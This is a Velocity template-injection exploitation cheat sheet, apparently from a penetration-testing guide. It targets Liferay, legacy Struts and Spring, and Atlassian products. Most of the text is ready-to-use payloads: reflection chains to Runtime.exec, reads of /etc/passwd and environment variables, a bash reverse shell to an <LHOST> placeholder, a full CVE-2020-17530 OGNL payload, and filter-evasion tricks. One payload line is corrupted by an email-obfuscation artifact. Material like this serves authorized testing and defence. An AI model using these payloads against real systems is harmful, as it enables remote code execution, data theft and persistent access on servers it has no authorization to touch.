Skip to content

Velocity (Java - Liferay, legacy Spring)

Velocity exposes $class and class-instantiation through directives. Reach java.lang.Runtime.getRuntime().exec(...) either through reflection on any object’s getClass(), or directly through Velocity Tools’ $class helper if it’s loaded.

# Confirm Velocity (not Freemarker)
${7*7} # → 49
#set($x=7)$x # → 7 (Velocity directive)
# RCE - reflection on String's getClass()
#set($s="")
#set($runtime=$s.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set($process=$runtime.exec("id"))
$process.getInputStream()
# RCE - Velocity Tools $class helper (if loaded)
$class.inspect("java.lang.Runtime").type.getMethod("getRuntime").invoke(null).exec("id")

Success indicator: Process object representation in response, or uid= if .getInputStream() is read.

  • Liferay Portal - Velocity is one of the supported templating languages alongside Freemarker. Admin templates and themes are common sinks.
  • Apache Struts 2 - Velocity views in legacy Struts apps. CVE-2020-17530 (Struts S2-061) is the well-known case.
  • Spring Framework (older) - Velocity view-resolver, deprecated since Spring 4.3 but still present in legacy enterprise apps.
  • Confluence (very old) - pre-Freemarker Confluence versions used Velocity.
  • JIRA / Bitbucket Server - Velocity in some email templates and admin panels.
${7*7} # → 49 confirms template eval
#set($x=7)$x # → 7 confirms Velocity (not Freemarker)
${"".getClass().getName()} # → java.lang.String confirms Java-side access

If ${7*7} works but #set doesn’t, that’s Freemarker - see Freemarker.

If ${"".getClass()} returns unchanged, you’re in a hardened Velocity environment (likely with secure_uberspect enabled) - see sandbox escape.

Velocity exposes Java methods on any object. From a String, walk to Runtime:

#set($s="")
#set($cls=$s.getClass().forName("java.lang.Runtime"))
#set($getRuntime=$cls.getMethod("getRuntime",null))
#set($runtime=$getRuntime.invoke(null,null))
#set($process=$runtime.exec("id"))
$process.getInputStream()

Compact inline version:

#set($r=$s.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))$r.exec("id").getInputStream()

Reading the InputStream as a string requires Java boilerplate. Easier path:

#set($process=$s.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["/bin/sh","-c","id > /tmp/out"]))

Then read /tmp/out via a file primitive - or pipe output through a writer:

#set($p=$r.exec(["/bin/sh","-c","id"]))
#set($is=$p.getInputStream())
#set($br=$s.getClass().forName("java.io.BufferedReader").getConstructor($s.getClass().forName("java.io.Reader")).newInstance($s.getClass().forName("java.io.InputStreamReader").getConstructor($s.getClass().forName("java.io.InputStream")).newInstance($is)))
$br.readLine()

Awkward but works. In practice, write to a file and read it via a second request.

If the application loads Velocity Tools (org.apache.velocity.tools.generic.ClassTool), $class is exposed directly:

$class.inspect("java.lang.Runtime").type.getMethod("getRuntime").invoke(null).exec("id")

Much cleaner. Test for $class first:

$class
  • Returns object → $class is loaded; use the clean path
  • Returns $class literal or empty → not loaded; use the reflection path

Velocity Tools is bundled with many Spring/Struts apps but disabled in Liferay’s default config.

# Velocity context dump (Velocity Tools)
$context.keys
$class.inspect("java.lang.System").type.getProperty("user.dir")
$class.inspect("java.lang.System").type.getenv()
# Liferay-specific
$themeDisplay.user.emailAddress
$themeDisplay.user.password # hashed
$portletConfig
# System properties (if reachable)
$s.getClass().forName("java.lang.System").getProperty("user.home")
$s.getClass().forName("java.lang.System").getProperty("user.dir")
# Read file via reflection
#set($fis=$s.getClass().forName("java.io.FileInputStream").getConstructor([$s.getClass()]).newInstance("/etc/passwd"))
#set($scanner=$s.getClass().forName("java.util.Scanner").getConstructor([$s.getClass().forName("java.io.InputStream")]).newInstance($fis))
#set($content=$scanner.useDelimiter("\A").next())
$content

Or via Files.readAllBytes (Java 7+):

#set($cls=$s.getClass().forName("java.nio.file.Files"))
#set($paths=$s.getClass().forName("java.nio.file.Paths"))
#set($pathObj=$paths.getMethod("get",[$s.getClass(),$s.getClass().getClass()]).invoke(null,"/etc/passwd",[]))
$cls.getMethod("readString",[$s.getClass().forName("java.nio.file.Path")]).invoke(null,$pathObj)

Use a shell-wrapped exec to handle metacharacters:

#set($r=$s.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
$r.exec(["/bin/sh","-c","bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"])

The array form of exec bypasses Java’s argument-parsing rules that break naive exec("bash -i >& ...") calls.

Step 7 - CVE-2020-17530 (Struts S2-061) payload form

Section titled “Step 7 - CVE-2020-17530 (Struts S2-061) payload form”

Apache Struts 2 forced OGNL evaluation through Velocity in S2-061. Payload form (in any Struts-evaluated parameter):

%{
(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).
(#bean.setBean(#stack)).
(#context=#bean.get("context")).
(#bean.setBean(#context)).
(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).
(#bean.put("excludedPackageNames",#emptyset)).
(#[email protected]@getRuntime().exec("id")).
(#exec.getInputStream())
}

This is OGNL syntax (not pure Velocity), but Struts evaluates OGNL through the same code path as Velocity templates. URL-encode and place in a Struts parameter like id or anywhere a Struts action accepts user input.

# String concatenation in class names
#set($cls=$s.getClass().forName("java.lang."+"Run"+"time"))
# Hex-encoded class names
#set($cls=$s.getClass().forName("java.lang.\u0052untime"))
# Indirect class lookup via static field
#set($cls=$s.getClass().getSuperclass().getDeclaredClasses()) # then iterate
${7*7} # eval probe
#set($x=7)$x # Velocity directive probe (returns 7)
${context.keys} # returns context variable names (Velocity Tools)
${esc.q} # returns " if EscapeTool loaded - confirms Velocity Tools
  • secure_uberspect is Velocity’s sandbox setting. When enabled, reflection methods (getClass, getMethod, invoke) are blocked - the reflection-path payloads fail. Velocity Tools’ $class.inspect may still work since it routes through a different mechanism.
  • Velocity 2.x introduced stricter introspection by default but kept backward compatibility. Most production deployments still run Velocity 1.7 (frozen since 2010 but ubiquitous).
  • Output suppression - Velocity by default renders unresolved references literally ($undefined returns $undefined). If your reflection chain has a typo, you see the broken reference. This is helpful for debugging - set strict reference mode is rare.
  • Cross-engine confusion - some apps pipe output through both Velocity and Freemarker. If ${7*7} returns 49 and BOTH #set($x=7)$x AND <#assign x=7>${x} return 7, the apps have layered templating - both engines are reachable through the same input.